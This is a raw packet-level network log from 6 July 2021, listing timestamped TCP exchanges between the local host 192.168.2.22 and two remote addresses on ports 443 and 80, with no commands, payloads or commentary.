Jul 6, 2021 15:52:25.167145967 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.167181015 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.167217016 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.167778015 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.168019056 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.168055058 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.168174982 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.169176102 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.169214010 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.169585943 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.170309067 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.170353889 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.170618057 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.171435118 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.171477079 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.171710968 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.172574997 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.255866051 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.255903959 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.256174088 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.256304026 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.256407976 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.256464958 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.257498026 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.257540941 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.257776976 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.258711100 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.258735895 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.259010077 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.259831905 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.259892941 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.260080099 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.260932922 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.261002064 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.261161089 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.261964083 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.262022018 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.262125969 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.263207912 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.263277054 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.263356924 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.264278889 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.264322996 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.265367031 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.265371084 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.265407085 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.266200066 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.266468048 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.266508102 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.266634941 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.267646074 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.267712116 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.267874956 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.268728018 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.268769979 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.269452095 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.269870996 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.269911051 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.270071983 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.271023035 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.271066904 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.271224022 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.272166967 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.272255898 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.272447109 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.273282051 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.273356915 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.274178982 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.274564981 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.274636984 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.275012016 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.296000957 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.296113968 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.296391964 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.296417952 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.296495914 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.296823025 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.344162941 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.344188929 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.344330072 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.344429970 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.344453096 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.344614029 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.345158100 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.345181942 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.345283985 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.345832109 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.345853090 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.345940113 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.346563101 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.346580029 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.346760035 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.347343922 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.347480059 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.347686052 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.349107027 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.349148035 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.349175930 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.349208117 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.349351883 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.349598885 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.349694967 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.349725008 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.350229025 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.350251913 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.350272894 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.351001024 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.351022959 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.351057053 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.351737976 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.351865053 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.352171898 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.352417946 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.352464914 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.352492094 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.353151083 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.353180885 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.353204966 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.353898048 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.353921890 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.354083061 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.354603052 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.354630947 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.354800940 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.355340958 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.355364084 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.355523109 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.356091976 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.356184006 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.356353045 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.356772900 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.356795073 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.356935024 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.357506037 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.357533932 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.357753992 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.358269930 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.358400106 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.358645916 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.358967066 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.358994961 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.359093904 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.359774113 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.359802008 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.360013008 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.360455990 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.360486031 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.360656023 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.383531094 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.383600950 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.383876085 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.383934975 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.383972883 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.384082079 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.384478092 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.384521008 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.384732008 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.385198116 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.385246038 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.385421038 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.385937929 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.385976076 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.386147022 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.388154030 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.388200998 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.388390064 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.388489008 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.388530016 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.388662100 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.389350891 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.389400005 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.389538050 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.389941931 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.389981985 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.390084982 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.432622910 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.432674885 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.432713032 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.432796955 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.432950974 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.432988882 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.433024883 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.433093071 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.433789015 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.433837891 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.433881998 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.433898926 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.434118032 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.434684038 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.434726954 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.434765100 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.434803963 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.435580969 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.435630083 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.435668945 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.435719013 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.435848951 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.436372995 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.436412096 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.436450005 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.436913013 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.437248945 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.437304974 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.437340975 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.437530041 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.438136101 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.438184977 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.438220978 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.438256979 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.438446045 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.438993931 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.439033985 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.439071894 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.439119101 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.439806938 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.439857006 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.439893007 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.439943075 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.440124989 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.440704107 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.440745115 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.440783024 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.440829039 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.441540956 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.441581011 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.441616058 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.441631079 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.441826105 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.442393064 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.442431927 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.442470074 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.442652941 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.443273067 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.443315029 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.443351030 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.443365097 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.443681955 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.444119930 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.444159031 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.444207907 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.444245100 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.445020914 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.445061922 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.445097923 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.445164919 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.445316076 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.445852041 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.445897102 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.445935965 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.446332932 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.446743965 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.446784973 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.446821928 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.447611094 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.447662115 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.447704077 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.447745085 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.447751045 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.448028088 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.448470116 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.448510885 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.448546886 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.448765993 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.449371099 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.449433088 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.449469090 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.449501038 CEST	443	49172	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:25.449899912 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.615910053 CEST	49173	80	192.168.2.22	172.67.213.115
Jul 6, 2021 15:52:25.654021978 CEST	80	49173	172.67.213.115	192.168.2.22
Jul 6, 2021 15:52:25.656761885 CEST	49173	80	192.168.2.22	172.67.213.115
Jul 6, 2021 15:52:25.656795979 CEST	49173	80	192.168.2.22	172.67.213.115
Jul 6, 2021 15:52:25.695477009 CEST	80	49173	172.67.213.115	192.168.2.22
Jul 6, 2021 15:52:25.699090004 CEST	49170	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:25.699291945 CEST	49171	80	192.168.2.22	172.67.213.115
Jul 6, 2021 15:52:26.194715977 CEST	80	49173	172.67.213.115	192.168.2.22
Jul 6, 2021 15:52:26.194736004 CEST	80	49173	172.67.213.115	192.168.2.22
Jul 6, 2021 15:52:26.194799900 CEST	49173	80	192.168.2.22	172.67.213.115
Jul 6, 2021 15:52:27.842485905 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:27.881983042 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:27.882354975 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:27.894059896 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:27.933522940 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:27.933587074 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:27.933630943 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:27.933670044 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:27.934084892 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:27.936659098 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:27.936692953 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:27.936928034 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:27.950603008 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:27.991069078 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:27.994193077 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.198090076 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.415177107 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.450655937 CEST	49172	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.451185942 CEST	49173	80	192.168.2.22	172.67.213.115
Jul 6, 2021 15:52:28.455332994 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.568703890 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.568732023 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.568753004 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.568772078 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.568870068 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.568881989 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.659784079 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.659810066 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.659903049 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.660351992 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.660403967 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.660463095 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.661433935 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.661464930 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.661533117 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.662523985 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.662553072 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.663191080 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.663692951 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.663723946 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.664165020 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.664776087 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.664799929 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.664875984 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.665810108 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.665832996 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.665925980 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.668349028 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.668370962 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.668382883 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.668395042 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.669848919 CEST	49174	443	192.168.2.22	13.225.75.73
Jul 6, 2021 15:52:28.670990944 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.671013117 CEST	443	49174	13.225.75.73	192.168.2.22
Jul 6, 2021 15:52:28.671041012 CEST	443	49174	13.225.75.73	192.168.2.22
